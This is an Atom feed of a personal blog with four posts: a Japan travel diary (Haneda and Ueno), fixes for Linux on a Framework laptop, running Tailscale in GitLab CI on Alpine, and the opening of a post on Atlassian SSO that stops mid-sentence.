<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Ming Di Leom&#39;s Blog</title>
  <icon>https://mdleom.com/svg/favicon.svg</icon>
  
  <link href="https://mdleom.com/atom.xml" rel="self"/>
  
  <link href="https://mdleom.com/"/>
  <updated>2026-01-07T00:00:00.000Z</updated>
  <id>https://mdleom.com/</id>
  
  <author>
    <name>Ming Di Leom</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Gunma and Nagano Travel (Part 1)</title>
    <link href="https://mdleom.com/blog/2026/01/07/japan-travel-2025-p1/"/>
    <id>https://mdleom.com/blog/2026/01/07/japan-travel-2025-p1/</id>
    <published>2026-01-07T00:00:00.000Z</published>
    <updated>2026-01-07T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>This is a series of blog posts chronicling my Gunma and Nagano travel in 2025:</p><ol><li>Day 1: Haneda Airport, Ueno</li><li>Day 1-2: Takasaki, Maebashi (draft)</li><li>and so on.</li></ol><p>After a visit to Aomori prefecture (青森県) back in 2023 which I enjoyed thoroughly, I decided to visit Japan again this year. This time I visited Gunma (群馬県) and Nagano (長野県) prefectures. According to the official <a href="https://statistics.jnto.go.jp/en/graph/#graph--inbound--prefecture--ranking">Japan Tourism Statistics</a>, Gunma and Nagano had international tourist visit rate of 0.5% and 3.0% in 2024, while Aomori was 1% in 2023.</p><h2 id="arriving-at-tokyo-haneda-airport">Arriving at Tokyo Haneda Airport <a href="#arriving-at-tokyo-haneda-airport" class="headerlink" title="Arriving at Tokyo Haneda Airport">§</a></h2><p>My ANA flight to Tokyo arrived at the Haneda Airport Terminal 2. Terminal 2 is exclusive to ANA international and also domestic flights, but some ANA international flights may arrive at Terminal 3. The exclusivity doesn’t necessarily make the immigration hall any less crowded though as Terminal 2’s is much smaller.</p><p>At the entrance of the immigration hall, there were 2 queues left and right for passengers with <a href="https://www.vjw.digital.go.jp/">Visit Japan Web</a> QR code. But the entrance was narrow and those queues although not that long (&lt;20 persons each) but still felt like they almost obstruct the entrance. So the staff kept urging passengers to move ahead to the Passport Control. I had a QR so I lined up behind the check-in kiosks instead. After check-in at the QR kiosk, I queued behind Passport Control with everybody else without QR. Somehow, I ended up at a <a href="https://www.us.emb-japan.go.jp/itpr_en/visa-sofa.html">SOFA</a> counter which was opened to everyone to speed things up a bit.</p><h2 id="ueno-station">Ueno Station <a href="#ueno-station" class="headerlink" title="Ueno Station">§</a></h2><p>From Haneda Airport, I took Tokyo Monorail to Hamamatsuchō Station (浜松町駅) to transit to another line that would get me to Ueno Station (上野駅) to board a bullet train <em>shinkansen</em>. At Hamamatsuchō Station, I could take either the green Yamanote Line (山手線) or the blue Keihin–Tōhoku Line (京浜東北線). Since those lines are on the same island platform, one can simply board whichever arrives first, which was Keihin–Tōhoku Line for me.</p><p>If I was going to take a <em>shinkansen</em>, you might be wondering shouldn’t I get off at Tokyo Station instead? Ueno Station despite being much smaller, it still has all the <em>shinkansen</em> lines that Tokyo Station has, with a notable exception of the popular Tōkaidō Shinkansen (東海道新幹線). For Tōkaidō Shinkansen, you might be better off boarding from Shinagawa Station (品川駅). The size of Tokyo Station combining with the crowds can be unpleasant, especially when dragging a full-size luggage with a backpack. Do visit Tokyo Station though to admire its grant exterior, but not for rushing to the next scheduled train while lugging something along.</p><p>Once at Ueno Station, I knew exactly where I needed to go without feeling any confusion once I disembarked, this brought me some relieve despite the drizzle outside; though I did study its layout through <a href="https://youtu.be/e_zvlZMwZVU">a walking video</a> beforehand. Even prior to arriving there, I already <em>felt</em> the station is much smaller than Tokyo Station when I noticed plenty of empty seats after Akihabara Station (秋葉原駅).</p><p>Once at Ueno Station, I had about 2 hours before my next scheduled train, so I wander around the area a bit to kill time. Before I do that, I stored my luggage in a locker just outside of the Shinkansen ticket gate. On the way, I stopped by a Fuji Soba (<a href="https://maps.app.goo.gl/hSBhsPMqyfoQUoJh9">名代 富士そば</a>) shop to have breakfast. Its ticket vending machine accepts Suica which I appreciate, and the food was served faster than McDonald’s. When walking on the pedestrian bridge where in addition to crossing the road to get to Ameyoko (<a href="https://en.wikipedia.org/wiki/Ameya-Yokoch%C5%8D">アメ横</a>) side, you could take a good view of the iconic front exterior Ueno Station, I noticed an uncovered smoking area for commuters. It was drizzling at that time, so it must be a slight annoyance for those smokers; perhaps it was purposely arranged <em>that</em> way which is even better, instead of carving a space out in the station.</p><h2 id="withdrawing-cash">Withdrawing cash <a href="#withdrawing-cash" class="headerlink" title="Withdrawing cash">§</a></h2><p>Before going to a 7-Eleven chain, I stopped by a NewDays convenience store in the Ueno Station to try to withdraw some cash and found a Mizuho Bank ATM at a corner. Even though the ATM had “International ATM” sign with Visa logo, it immediately spit out my card as soon as I insert. After it did that twice, I went straight to 7-Eleven instead. At 7-Eleven, I withdrew 100,000 yen and was charged 220 yen fee for my Visa card, apparently it’s free to Mastercard. I also managed to withdraw cash from Aeon Bank ATM which can be found in Ministop convenience stores, there is no fee but the maximum withdrawal per transaction was 50,000 yen. Anyway, I withdrew this much cash because most of the <em>ryokan</em> (旅館) that I stayed were cash only.</p><h2 id="card-payment">Card payment <a href="#card-payment" class="headerlink" title="Card payment">§</a></h2><p>Visa Paywave is now much more common compared to 2023.</p><h2 id="shinkansen-e-ticket">Shinkansen e-ticket <a href="#shinkansen-e-ticket" class="headerlink" title="Shinkansen e-ticket">§</a></h2><p>After a significant price hike of rail passes (that are exclusive to foreign visitors) from 1 Oct 2023, they are now hardly worth considering whereas it was kinda no-brainer for my previous travel. So, this time I purchased <a href="https://www.eki-net.com/jreast-train-reservation/Top/Index">Shinkansen e-ticket</a>. E-ticket is linked to public transport card (e.g. Suica, Welcome&#x2F;Sakura Suica, PASMO, etc) which I still keep from my previous travel, so I didn’t have to pick up a physical ticket; just tap and off I go. E-ticket needs to be linked at least 4 minutes prior to departure which is plenty of time. Arrive at least 30 minutes at the station prior to departure, get a card from a machine outside of ticket gate, register the card at eki-net.com, get an <em>ekiben</em> (<a href="https://en.wikipedia.org/wiki/Ekiben">駅弁</a>) then board the bullet train. Ticket can be only purchased at most 30 days prior to scheduled train. Note that Suica card (different from Welcome Suica) is valid for 10 years from last tap, so you might as keep it if you feel like travelling to Japan in near future.</p><h2 id="ueno">Ueno <a href="#ueno" class="headerlink" title="Ueno">§</a></h2><p>After getting out of the Ueno Station and <a href="#withdrawing-cash">cash-loaded</a>, I briefly stopped at the Ameyoko (アメ横) entrance. It was weekday 9am at that time with most shops yet to open, so the street was quiet. Then, I walked to Ueno no Mori Sakura Terrace <a href="https://maps.app.goo.gl/AKHHj5QN1PoxKdsk7">上野の森さくらテラス</a> that had a nice lookout on the top floor. Once there, I couldn’t get to the top floor because the building is not yet open. I later discovered the top floor is accessible from the park which I’ll mention later.</p><p>I walked past Inchiran (<a href="https://maps.app.goo.gl/mBvNoDtxepDEwHCbA">一蘭</a>) a popular ramen chain at the opposite side. From several videos that I watched, this chain just outside of the Ueno Station can get pretty busy. But I didn’t see any queue around 9am, probably it was only busy during meal times or weekend. It was a bit tempting but I already had my fill from my soba noodle breakfast.</p><p>I visited Bentendo Temple (<a href="https://maps.app.goo.gl/fg28Az9PYDvfL6LH6">辨天堂</a>). As I was entering the temple, I saw a meat skewer stall which wasn’t open when I was there. I find this to be wild given the proximity. I briefly walked around the Shinobazu Pond before heading to Kiyomizu Kannon-dō Temple (<a href="https://maps.app.goo.gl/syRi9KuK8CPL5USS8">清水観音堂</a>). As I walked past <em>chōzuya</em> (<a href="https://en.wikipedia.org/wiki/Ch%C5%8Dzuya">手水舎</a>) of Bentendo Temple, I noticed a tourist rinsed his hand using a scoop <em>hishaku</em> (<a href="https://en.wikipedia.org/wiki/Hishaku">柄杓</a>), but on top of the basin <em>chōzubachi</em> (<a href="https://en.wikipedia.org/wiki/Ch%C5%8Dzubachi">手水鉢</a>) which looked a bit off to me as that was equivalent as dipping your hand into the basin. Some japanese also <a href="https://www.youtube.com/watch?v=6pD5h-yzPZY&t=417s">did this</a>. Perhaps the etiquette of using a scoop away from the basin is not strictly adhered to? Next time I think I’ll fill up the scoop from the dragon-head-shaped tap instead of scooping up from the basin.</p><p>At the entrance of Kiyomizu Kannon-dō Temple, I saw a pair of tourists having a puzzling look at the chōzubachi. Although there was a written guide, I gave them a live demo of <em>chōzu</em> which I learned from <a href="https://youtu.be/BbofLIR3uNA?t=189">this woman</a>; also check out how she performs ceremonial clapping <em>kashiwade</em> (<a href="https://en.wikipedia.org/wiki/Hakushu_(Shinto)">柏手</a>) later in the video, which is only applicable to Shinto shrine not Buddhist temple. I skipped the mouth rinsing part though as I wasn’t comfortable with doing it with unwashed hand, people wearing face mask (common in Japan) also skip it. Anyway, I then check out the pine tree that the temple is known for, which has been shaped to a circle called <em>tsuki no matsu</em> (月の松).</p><p>As the train schedule was getting closer, I started to walk back to the Ueno Station. Near the Statue of Saigō (<a href="https://maps.app.goo.gl/cXZKH9osw7adcNuT7">西郷像</a>) there was a lift to the ground level but it wasn’t working due to operating hours of Sakura Terrace. At least that was the lookout that I was looking for, with a view of train traffic of the Ueno Station.</p><p>In the Ueno Station, I went to pick up my luggage from the locker, went through the shinkansen ticket gate. While my partner was looking for ekiben, I looked for drink instead. We arrived at least 30 minutes at the station to give her plenty of time to browse, but turned out she didn’t need that as there wasn’t much choices. Probably a good thing that she didn’t have to stress about choices, unlike the Tokyo Station which had too many options. I had a quick look for drinks and Shinshū buckwheat tea (信州そば茶) caught my eye due to relevance to Nagano in this trip; <a href="https://en.wikipedia.org/wiki/Shinano_Province">Shinshū</a> is a former name of Nagano prefecture.</p><p>That’s it for now for this post, my next post will be about my travel to Takasaki and Maebashi cities in Gunma; yes, I will finally start to talk about Gunma as titled.</p>]]></content>
    
    
    <summary type="html">Day 1: Haneda Airport, Ueno</summary>
    
    
    
    <category term="travel" scheme="https://mdleom.com/tags/travel/"/>
    
  </entry>
  
  <entry>
    <title>Linux on Framework Laptop 13 (AMD Ryzen AI 300)</title>
    <link href="https://mdleom.com/blog/2025/12/13/framework-laptop/"/>
    <id>https://mdleom.com/blog/2025/12/13/framework-laptop/</id>
    <published>2025-12-13T00:00:00.000Z</published>
    <updated>2025-12-20T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>TL;DR Use Linux &gt;&#x3D; 6.17 and remove xf86-video-amdgpu package</p><p>I recently bought a new Framework Laptop 13 to replace my Lenovo Thinkpad T14 G1. I cloned my existing SSD to the new one using <code>pv /dev/nvme0n1 -o /dev/sdb</code> on a Live USB. pv is nicer to use than dd as it shows progress by default (dd does offer it through <code>status=progress</code> parameter) and I didn’t have to mess around with <code>bs=</code> (block size) parameter. I didn’t have to resize&#x2F;enlarge the partition because both SSDs are the same size.</p><h2 id="grub-error-“no-such-cryptodisk-found”">GRUB error “no such cryptodisk found” <a href="#grub-error-“no-such-cryptodisk-found”" class="headerlink" title="GRUB error “no such cryptodisk found”">§</a></h2><p>The first boot didn’t went well as I encountered this GRUB error “no such cryptodisk found”. Since I cloned the SSD which retained the UUID, it shouldn’t due to mistyped UUID in the GRUB config.</p><p>I then booted a Live USB, mount the SSD, chroot into it and <a href="https://wiki.manjaro.org/index.php/GRUB/Restore_the_GRUB_Bootloader#EFI_System">reinstall GRUB</a>. After reboot, I was greeted with the usual password prompt on GRUB and I could login to XFCE just fine.</p><h2 id="no-wifi">No Wifi <a href="#no-wifi" class="headerlink" title="No Wifi">§</a></h2><p>After login, I noticed there was no internet connection, the network applet showed no device found. I checked the installed firmware <code>pacman -Qs linux-firmware</code> and found linux-firmware-mediatek was missing. So I grabbed one from a mirror, installed it <code>pacman -U linux-firmware-mediatek*</code>, reboot and Wifi is now functional.</p><h2 id="xfce-randomly-freeze-except-mouse">XFCE randomly freeze except mouse <a href="#xfce-randomly-freeze-except-mouse" class="headerlink" title="XFCE randomly freeze except mouse">§</a></h2><p>I experienced XFCE random freeze&#x2F;hang&#x2F;unresponsive at least daily. When it happened, the whole screen just froze except for the mouse, mouse icon didn’t change when I hover over text.</p><p>Initially I tried <a href="https://gitlab.freedesktop.org/drm/amd/-/issues/4141#note_2894301"><code>amdgpu.dcdebugmask=0x10</code></a> kernel parameter but that didn’t work for me on Linux 6.12.61 and 6.17.11.</p><p>Then, I tried removing xf86-video-amdgpu as suggested <a href="https://forum.manjaro.org/t/xfce-amd-igpu-inconsistent-graphical-crashes/182695/10">here</a>, along with other “xf86-video-*” packages. That worked well, but the screen still flickers 3-4 times immediately after login, probably due to launch of xiccd and redshift.</p><h2 id="failed-to-suspend">Failed to suspend <a href="#failed-to-suspend" class="headerlink" title="Failed to suspend">§</a></h2><p>One night I put the laptop in suspend mode without checking the power indicator (which should be flashing slowly during sleep) then went to sleep, only to discover the next day that power indicator was off. I switched it on while charging and noticed the batter was only 2%.</p><p>I checked the logs from the last boot <code>journalctl -b -1</code> and found the culprit.</p><pre><code class="hljs plaintext">kernel: mt7925e 0000:c0:00.0: PM: pci_pm_suspend(): mt7925_pci_suspend [mt7925e] returns -110kernel: mt7925e 0000:c0:00.0: PM: dpm_run_callback(): pci_pm_suspend returns -110kernel: mt7925e 0000:c0:00.0: PM: failed to suspend async: error -110</code></pre><p>mt7925e refers to the Mediatek Wifi device. A web search on the suspend issue related to the device led to <a href="https://community.frame.work/t/framework-13-ryzen-ai-350-wont-suspend-in-linux-due-to-mt7925e/70830">this thread</a>. Initially I installed <a href="https://community.frame.work/t/framework-13-ryzen-ai-350-wont-suspend-in-linux-due-to-mt7925e/70830/4">the workaround</a> but reverted after noticing it may have been fixed in Linux 6.15.</p><p>Since Linux 6.15 was already EOL at that time, I installed Linux 6.17 instead. The laptop now suspends properly with breathing power indicator.</p><h2 id="“authentication-is-required-for-suspending-the-system”-after-wake">“Authentication is required for suspending the system” after wake <a href="#“authentication-is-required-for-suspending-the-system”-after-wake" class="headerlink" title="“Authentication is required for suspending the system” after wake">§</a></h2><p>I had had “Authentication is required for suspending the system” prompt after wake even in my previous laptop, even though either laptop could suspend just fine. I previously modified “&#x2F;usr&#x2F;share&#x2F;polkit-1&#x2F;actions&#x2F;org.freedesktop.login1.policy” file to allow any user to suspend: <code>&lt;allow_any&gt;yes&lt;/allow_any&gt;</code> under <code>&lt;action id=&quot;org.freedesktop.login1.suspend&quot;&gt;</code>. But the change does not persist across updates.</p><p>While looking through the logs, I noticed these lines:</p><pre><code class="hljs plaintext">polkitd: Operator of unix-session:2 FAILED to authenticate to gain authorization for action org.freedesktop.login1.suspend for system-bus-name::1.48 [xfce4-power-manager] (owned by unix-user:username)polkitd: Operator of unix-session:2 FAILED to authenticate to gain authorization for action org.xfce.power.xfce4-pm-helper for unix-process:2196:3423 [xfce4-power-manager] (owned by unix-user:username)</code></pre><p>This time another web search led me to <a href="https://forum.xfce.org/viewtopic.php?pid=43697">this thread</a> and then <a href="https://stijn.tintel.eu/blog/2015/09/11/polkit-requesting-root-password-to-suspend-after-updating-version-0112-to-0113">this post</a> which suggested to put custom policy in the proper place “&#x2F;etc&#x2F;polkit-1&#x2F;rules.d&#x2F;“.</p><pre><div class="caption"><span>/etc/polkit-1/rules.d/85-suspend.rules</span></div><code class="hljs plaintext">polkit.addRule(function(action, subject) &#123;    if ((action.id == &quot;org.freedesktop.login1.suspend&quot; ||         action.id == &quot;org.xfce.power.xfce4-pm-helper&quot;) &amp;&amp;        subject.user == &quot;username&quot;) &#123;        return polkit.Result.YES;    &#125;&#125;);</code></pre>]]></content>
    
    
    <summary type="html">Issues and fixes</summary>
    
    
    
    <category term="linux" scheme="https://mdleom.com/tags/linux/"/>
    
  </entry>
  
  <entry>
    <title>Running Tailscale in GitLab CI/CD with Alpine container</title>
    <link href="https://mdleom.com/blog/2025/04/06/tailscale-alpine/"/>
    <id>https://mdleom.com/blog/2025/04/06/tailscale-alpine/</id>
    <published>2025-04-06T00:00:00.000Z</published>
    <updated>2025-04-06T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>Skip to <a href="#tailscale-acl">configuration</a>.</p></blockquote><h2 id="background">Background <a href="#background" class="headerlink" title="Background">§</a></h2><p>Previously, I used <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/use-cases/ssh/ssh-cloudflared-authentication/">cloudflared-powered</a> SSH certificate to access <a href="/about/#architecture">my servers</a>. Since SSH connection is proxied through a cloudflared tunnel–which is created by initiating outbound connection only–I could have restricted the SSH port to localhost only without having to open inbound port. It worked for my workstation–I could initiate SSH through cloudflared which opens a browser and I authenticate on Cloudflare Access through <a href="https://developers.cloudflare.com/cloudflare-one/identity/one-time-pin/">OTP</a>.</p><p>But obviously that wouldn’t work for automated deployment–building by my blog in GitLab CI then deploys to my web servers automatically. Cloudflare Access supports authenticating through service tokens, but cloudflared apparently <a href="https://github.com/cloudflare/cloudflared/issues/1104">could not</a> grab SSH certificate through this way. Reading through the <a href="https://developers.cloudflare.com/cloudflare-one/identity/service-tokens/">documentation</a>, I don’t see any mention of which <em>username</em> to associate with, so Cloudflare Access could not identify which <a href="https://developers.cloudflare.com/cloudflare-one/applications/non-http/short-lived-certificates-legacy/#2-ensure-unix-usernames-match-user-sso-identities"><em>identity</em></a> to issue an SSH certificate to.</p><p>For CI&#x2F;CD pipeline use case, Cloudflare instead recommends to use <a href="https://blog.cloudflare.com/introducing-warp-connector-paving-the-path-to-any-to-any-connectivity-2/#securing-access-to-ci-cd-pipeline">WARP connector</a> which creates a Site-to-Site VPN tunnel between networks: a source network which hosts a build server that runs the pipelines connecting to a destination network which hosts the web servers. The connector agent acts as a subnet router and can either runs on a router, server or directly in each server. However, I run my pipelines on public shared runners which are serverless to me as I don’t manage the underlying servers. This rules out a long-running tunnel, so the only method left is to run the WARP client <em>in</em> the CI&#x2F;CD pipeline, specifically the deployment job. However, WARP client is not meant to run on ephemeral container. It <em>could</em>, but imagine cleaning up all the stale clients in the Zero Trust portal.</p><h2 id="tailscale">Tailscale <a href="#tailscale" class="headerlink" title="Tailscale">§</a></h2><p>Reading through comments on SSH through Cloudflare Access, some mentioned they have moved on to Tailscale instead. When I search the web for “tailscale gitlab”, the first result is this <a href="https://tailscale.com/kb/1287/tailscale-gitlab-runner">official guide</a> by Tailscale. The guide notably mentions the concept of <a href="https://tailscale.com/kb/1111/ephemeral-nodes">ephemeral nodes</a>, a Tailscale device registered with this mode will be automatically removed from the device list after it has gone offline.</p><p>The guide is brief, <em>too</em> brief in fact. The guide mentions creating an auth key which only lasts up to 90 days; perhaps it’s a good security practice, but I find having to update GitLab secret every quarter to be unappealing. Instead, an <a href="https://tailscale.com/kb/1215/oauth-clients">OAuth client</a> should be used because it has no expiry, which is also the recommended and <em>only</em> option when running in <a href="https://tailscale.com/kb/1276/tailscale-github-action">Github Action</a>. Even the <a href="https://tailscale.com/kb/1085/auth-keys">auth key</a> documentation also suggest to use OAuth client to create auth key, instead of creating it directly. I also faced difficulty running the <code>tailscaled</code> daemon on <a href="https://hub.docker.com/_/node"><code>node:alpine</code></a> which I later figured out.</p><h2 id="tailscale-acl">Tailscale ACL <a href="#tailscale-acl" class="headerlink" title="Tailscale ACL">§</a></h2><p>The first thing to do after I signed up for Tailscale is to replace the allow-all-by-default ACL with the following ACL, which allows port 22 from owner’s devices (my workstation) and GitLab Runner to my web servers. The ACL is also used to create tags–a tag must exist in the ACL first before you can assign it to a device.</p><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span>  <span class="hljs-attr">&quot;tagOwners&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;tag:server1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;autogroup:owner&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;tag:server2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;autogroup:owner&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;tag:ci&quot;</span><span class="hljs-punctuation">:</span>      <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;autogroup:owner&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;acls&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>    <span class="hljs-punctuation">&#123;</span>      <span class="hljs-attr">&quot;action&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;accept&quot;</span><span class="hljs-punctuation">,</span>      <span class="hljs-attr">&quot;src&quot;</span><span class="hljs-punctuation">:</span>    <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;autogroup:owner&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;tag:ci&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>      <span class="hljs-attr">&quot;dst&quot;</span><span class="hljs-punctuation">:</span>    <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;tag:server1:22&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;tag:server2:22&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>      <span class="hljs-attr">&quot;proto&quot;</span><span class="hljs-punctuation">:</span>  <span class="hljs-string">&quot;tcp&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>  <span class="hljs-comment">// Owner must have SSH access</span>  <span class="hljs-attr">&quot;tests&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>    <span class="hljs-punctuation">&#123;</span>      <span class="hljs-attr">&quot;src&quot;</span><span class="hljs-punctuation">:</span>    <span class="hljs-string">&quot;owner@example.com&quot;</span><span class="hljs-punctuation">,</span>      <span class="hljs-attr">&quot;accept&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;tag:server1:22&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;tag:server2:22&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>      <span class="hljs-attr">&quot;proto&quot;</span><span class="hljs-punctuation">:</span>  <span class="hljs-string">&quot;tcp&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span><span class="hljs-punctuation">&#125;</span></code></pre><h2 id="nixos">NixOS <a href="#nixos" class="headerlink" title="NixOS">§</a></h2><p>I added my web servers under the <a href="https://tailscale.com/kb/1316/device-add">Machines</a> tab and tagged them with <code>server1</code> and <code>server2</code> respectively. I saved the (non-ephemeral and non-reusable) auth key to a file “&#x2F;run&#x2F;secrets&#x2F;tailscale_key” in my servers and chmod it to 600. Each server has a unique auth key. Add the following lines and <code>sudo nixos-rebuild switch</code>. The servers should then show up and I manually approved them because I have <a href="https://tailscale.com/kb/1099/device-approval">device approval</a> enabled.</p><pre><div class="caption"><span>/etc/nixos/configuration.nix</span></div><code class="hljs nix">s<span class="hljs-attr">ervices.tailscale</span> <span class="hljs-operator">=</span> &#123;  <span class="hljs-attr">enable</span> <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;  <span class="hljs-attr">authKeyFile</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;/run/secrets/tailscale_key&quot;</span>;  <span class="hljs-attr">extraDaemonFlags</span> <span class="hljs-operator">=</span> [ <span class="hljs-string">&quot;--no-logs-no-support&quot;</span> ];&#125;;</code></pre><h2 id="oauth-client">OAuth client <a href="#oauth-client" class="headerlink" title="OAuth client">§</a></h2><p>In Tailscale admin console, navigate to Settings → <a href="https://login.tailscale.com/admin/settings/oauth">OAuth clients</a>. Generate a new client with read+write permission to “Auth Keys”.</p><p>Create a new GitLab CI&#x2F;CD variable:</p><ul><li>Check “masked and hidden” and “protect variable”.</li><li>Uncheck “expand variable”.</li><li>Name the key <code>TS_OAUTH_SECRET</code> and paste the secret under value.</li></ul><h2 id="alpine-container">Alpine container <a href="#alpine-container" class="headerlink" title="Alpine container">§</a></h2><p><em>Skip to the actual commands: <a href="#gitlab-ci">GitLab CI</a></em></p><p>Tailscale provides an official Alpine-based container image <a href="https://tailscale.com/kb/1282/docker"><code>tailscale/tailscale:stable</code></a> which is probably the easiest way to run it in container. I don’t use it because the Alpine package repository only has <a href="https://pkgs.alpinelinux.org/package/edge/main/x86_64/nodejs">LTS version</a> of Nodejs, not the latest release as available at the <a href="https://hub.docker.com/_/node/"><code>node:alpine</code></a> image. Instead of using tailscale image as a base, I prefer to use the larger Nodejs as a base and install tailscale on top of it.</p><p>It took me a few attempts to run Tailscale in the <code>node:alpine</code> image as I was unfamiliar with the behaviour of init&#x2F;OpenRC in an Alpine container. These are my attempts in order:</p><ol><li><code>tailscale up</code> failed because <code>tailscaled</code> is not running.</li><li><code>rc-service tailscale start</code> failed because “openrc” is not installed.</li><li>It still failed with openrc.</li><li>Found <a href="https://github.com/tailscale/tailscale/issues/11628#issuecomment-2039012828">this workaround</a> which worked but I wasn’t sure why.</li><li>Then I found this <a href="https://stackoverflow.com/questions/78269734/is-there-a-better-way-to-run-openrc-in-a-container-than-enabling-softlevel">StackOverflow question</a>. One of the answers mentioned a container doesn’t really boot, which explains why the container doesn’t install nor run openrc by default.</li><li>Instead of starting a service (which executes <code>tailscaled</code>), I could just run <code>tailscaled</code> in the background instead.</li><li>I follow the tailscaled’s environment variables and default arguments of its <a href="https://gitlab.alpinelinux.org/alpine/aports/-/tree/master/community/tailscale">alpine package</a>, including the <a href="https://gitlab.alpinelinux.org/alpine/aports/-/blob/b12738c7639e2cd988a56aa58e23b1eb8f791d78/community/tailscale/tailscale.initd#L40"><code>$PATH</code> override</a>. I only changed the <code>--state</code> from “&#x2F;var&#x2F;lib&#x2F;tailscale&#x2F;tailscaled.state” to “mem:” since it will be a ephemeral node.</li></ol><h3 id="gitlab-ci">GitLab CI <a href="#gitlab-ci" class="headerlink" title="GitLab CI">§</a></h3><pre><div class="caption"><span>.gitlab-ci.yml</span></div><code class="hljs yml"><span class="hljs-attr">before_script:</span>   <span class="hljs-bullet">-</span> <span class="hljs-string">apk</span> <span class="hljs-string">update</span> <span class="hljs-string">&amp;&amp;</span> <span class="hljs-string">apk</span> <span class="hljs-string">add</span> <span class="hljs-string">tailscale</span>   <span class="hljs-bullet">-</span> <span class="hljs-string">export</span> <span class="hljs-string">PATH=&quot;/usr/libexec/tailscale:$PATH&quot;</span>   <span class="hljs-bullet">-</span> <span class="hljs-string">export</span> <span class="hljs-string">TS_DEBUG_FIREWALL_MODE=nftables</span>   <span class="hljs-bullet">-</span> <span class="hljs-string">tailscaled</span> <span class="hljs-string">--socket=/run/tailscale/tailscaled.sock</span> <span class="hljs-string">--state=&quot;mem:&quot;</span> <span class="hljs-string">--port=41641</span> <span class="hljs-string">--no-logs-no-support</span> <span class="hljs-string">&gt;/dev/null</span> <span class="hljs-number">2</span><span class="hljs-string">&gt;&amp;1</span> <span class="hljs-string">&amp;</span>   <span class="hljs-bullet">-</span> <span class="hljs-string">tailscale</span> <span class="hljs-string">up</span> <span class="hljs-string">--auth-key=&quot;$&#123;TS_OAUTH_SECRET&#125;?ephemeral=true&amp;preauthorized=true&quot;</span> <span class="hljs-string">--advertise-tags=tag:ci</span> <span class="hljs-string">--hostname=&quot;gitlab-$(cat</span> <span class="hljs-string">/etc/hostname)&quot;</span> <span class="hljs-string">--accept-routes</span></code></pre><h2 id="additional-reading">Additional reading <a href="#additional-reading" class="headerlink" title="Additional reading">§</a></h2><p><a href="https://tailscale.com/kb/1254/gitops-acls-gitlab">GitOps for Tailscale ACLs with GitLab CI</a></p>]]></content>
    
    
    <summary type="html">OAuth client and running service in Alpine container</summary>
    
    
    
    <category term="alpine" scheme="https://mdleom.com/tags/alpine/"/>
    
    <category term="gitlab" scheme="https://mdleom.com/tags/gitlab/"/>
    
    <category term="tailscale" scheme="https://mdleom.com/tags/tailscale/"/>
    
  </entry>
  
  <entry>
    <title>Atlassian and Jira portal-only SSO</title>
    <link href="https://mdleom.com/blog/2025/02/02/atlassian-jira-sso/"/>
    <id>https://mdleom.com/blog/2025/02/02/atlassian-jira-sso/</id>
    <published>2025-02-02T00:00:00.000Z</published>
    <updated>2025-02-03T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>Single sign-on (SSO) enables users to use their existing enterprise account to logon to an Atlassian platform (e.g. Jira, Confluence, etc) seamlessly without entering credential. I write this post to clear up two points about configuring SSO in Atlassian platform: integration level and Atlassian account’s involvement. First, there are two integration methods: <a href="https://support.atlassian.com/security-and-access-policies/docs/configure-saml-single-sign-on-with-an-identity-provider/">organisation-wide</a> and <a href="https://support.atlassian.com/security-and-access-policies/docs/configure-saml-single-sign-on-for-portal-only-customers/">Jira portal-only customer</a>. Second, in Atlassian platform, logging onto an Atlassian account using a third-party account (i.e. Google, Microsoft, Apple and Slack) or OAuth is <em>not</em> considered as SSO, the only supported SSO is through SAML.</p><h2 id="third-party-login-is-not-sso">Third-party login is not SSO <a href="#third-party-login-is-not-sso" class="headerlink" title="Third-party login is not SSO">§</a></h2><p>Before I jump into <a href="#integration-method">integration method</a>, it is essential to distinct an enterprise account (as an SSO identity provider) and an Atlassian account. It is possible to sign up&#x2F;in to Atlassian account without entering Atlassian password by going through an existing OAuth-powered third-party account such as Microsoft account. This can easily lead to a misconception thinking that this is SSO because OAuth is <a href="https://www.cloudflare.com/en-gb/learning/access-management/what-is-oauth/">often associated</a> with 